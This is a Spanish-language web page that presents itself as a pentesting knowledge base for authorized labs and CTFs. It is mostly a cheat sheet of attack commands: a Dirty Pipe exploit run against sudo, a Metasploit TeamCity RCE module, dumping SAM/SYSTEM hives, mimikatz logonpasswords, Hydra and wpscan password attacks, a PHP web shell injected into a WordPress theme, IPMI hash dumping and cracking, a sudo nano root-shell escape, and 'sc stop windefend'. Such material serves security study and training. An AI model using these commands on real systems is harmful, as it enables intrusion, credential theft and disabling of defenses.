Cyber defense operations

Pentest KB

Base de conocimiento Comandos, notas, scripts y herramientas para laboratorios autorizados, CTF y ejercicios de hacking etico.
IP: 1.1.1.1 Target: 0.0.0.0

Repositorio tecnico de pentesting con busqueda por area, fase, herramienta y etiquetas. El contenido inicial se entrega en HTML para lectura directa, indexacion y accesibilidad.

Herramientas
exploits
#1 https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/blob/main/README.md
#2 ./exploit-2 /usr/bin/sudo

kernel 5.16.11-5.15.25-5.10.102-CVE-2022-0847-Dirty-Pipe
Metasploit
#exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198

Solo configurar host y listo

teamcity-cve-2024-27198
Power Shell
#1 reg save HKLM\SAM sam.save
#1 reg save HKLM\SYSTEM system.save

sam-windows-system
mimikatz
#1 sekurlsa::logonpasswords

Una vez que se ejecuta el exe de mimimkatz

mimikatz-ram
Comandos Linux
sudo strings /dev/mem | less

RAM
Hydra
hydra -l usuario -P /usr/share/wordlists/rockyou.txt smb://0.0.0.0

hydra-smb
crackmapexec
#1 crackmapexec smb 0.0.0.0 --shares -u '' -p ''

smb-crackmapexec
Comandos Linux
#1 curl -X GET "http:/0.0.0.0:13000/wp-content/themes/twentyseventeen/404.php?cmd=id"

#1 primero nos logueamos #Selecionamos el tema y lo editamos, agregando: <?php system($_GET['cmd']); /** * The template for displaying 404 pages (not found) * * @link https://codex.wordpress.org/Creating_an_Error_404_Page <SNIP>

wp-wordpress
wpscan
#1 wpscan --password-attack xmlrpc -t 20 -U admin, user1 -P passwords.txt --url http://0.0.0.0:13000

wp-wordpress
curl
#1 curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://0.0.0.0:13000/xmlrpc.php | grep string | wc -l 

wordpress-wp-mail-masta-pluging
wpscan
#1 wpscan --url http://0.0.0.0:1300 --enumerate ap 

#BaNDERA --disable-tls-checks

wpscan-wordpress
Comandos Linux
#1 sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local
#2 use auxiliary/scanner/ipmi/ipmi_dumphashes
#3 hashcat -m 7300 -w 3 -O "d2b6568782000000ce18c65026905dc8c2856a1e1d18b7adf12ad1d4eb51fd9f3c9a9d6421ac6f8fa123456789abcdefa123456789abcdef140561646d696e:21d534575e8035be3c03b9043523471313aea112" /usr/share/wordlists/rockyou.txt

#1Reconocemos #2 Obtenemos #3 Atacamos

IPMI-623-hachcat
Comandos Linux
#1 sudo netexec smb 0.0.0.0.0 -u anonymous -p anonymous --shares
#2 sudo netexec smb 0.0.0.0 -u john -p SuperSecurePass123 -M spider_plus

smb-netexec
Comandos Linux
#1 sudo /usr/bin/nano privesc
#2 reset; sh 1>&0 2>&0
#3 nano /path/to/output-file

#1 Creamos un archivo con nano como root para ejecutar un comando ( Ctrl+R luego Ctrl+X) #2 Escribimos el comando, despues tecleamos ls o id y listo #3 para leer un archivo es directo (root) NOPASSWD: /usr/bin/nano (ALL : ALL) ALL

sudo -l-NOPASSWD-nano
curl
#1 curl -s -k https://0.0.0.0 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
#2 curl -s -X GET http:0.0.0.0 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

#quita los (;)

wordpress-plugins-themes-wp
curl
#1 curl https://10.10.10.127 -k | grep -i 'WordPress'
#2 curl https://10.10.10.127 -k | grep -i '/themes/'

#1 Version de wordpress #2 Tema utilizado

wordpress wp
Power Shell
#1 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | Get-Member
#2 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | fl Images
#3 Invoke-WebRequest -Uri "https://dominio.org/example.html" -Method GET | fl RawContent
#4 Invoke-WebRequest -Uri "https://dominio.org/example.html/PowerView.ps1" -OutFile "C:\PowerView.ps1"

#1 Obtenemos las propiedades #2 Obtenemos las imágenes #3 Contenido raw #4 Descargar archivo

powershell-request-web
Comandos Windows
#1 sc query type= service
#2 sc stop windefend
#3 sc start Spooler
#4 tasklist /svc
#5  wmic service list brief

#1 Listar servicios #2 Detener un servicio #3 Iniciar un servicio

sc
Comandos Windows
#1 where calc.exe
#2 where /R C:\Users\student\ bio.txt
#3 where /R C:\Users\student\ *.csv
#4  type "C:\Users\Administrator\customer_database.csv" | findstr /i "Nicholas Taylor"

#4busca una cadena en un archivo (powershell)

buscar-where-powershell-find
Power Shell
 Get-Service | ? {$_.Status -eq "Running"} | select -First 5 |fl

#con el parámetro First indicamos el numero de procesos

powershell windows procesos task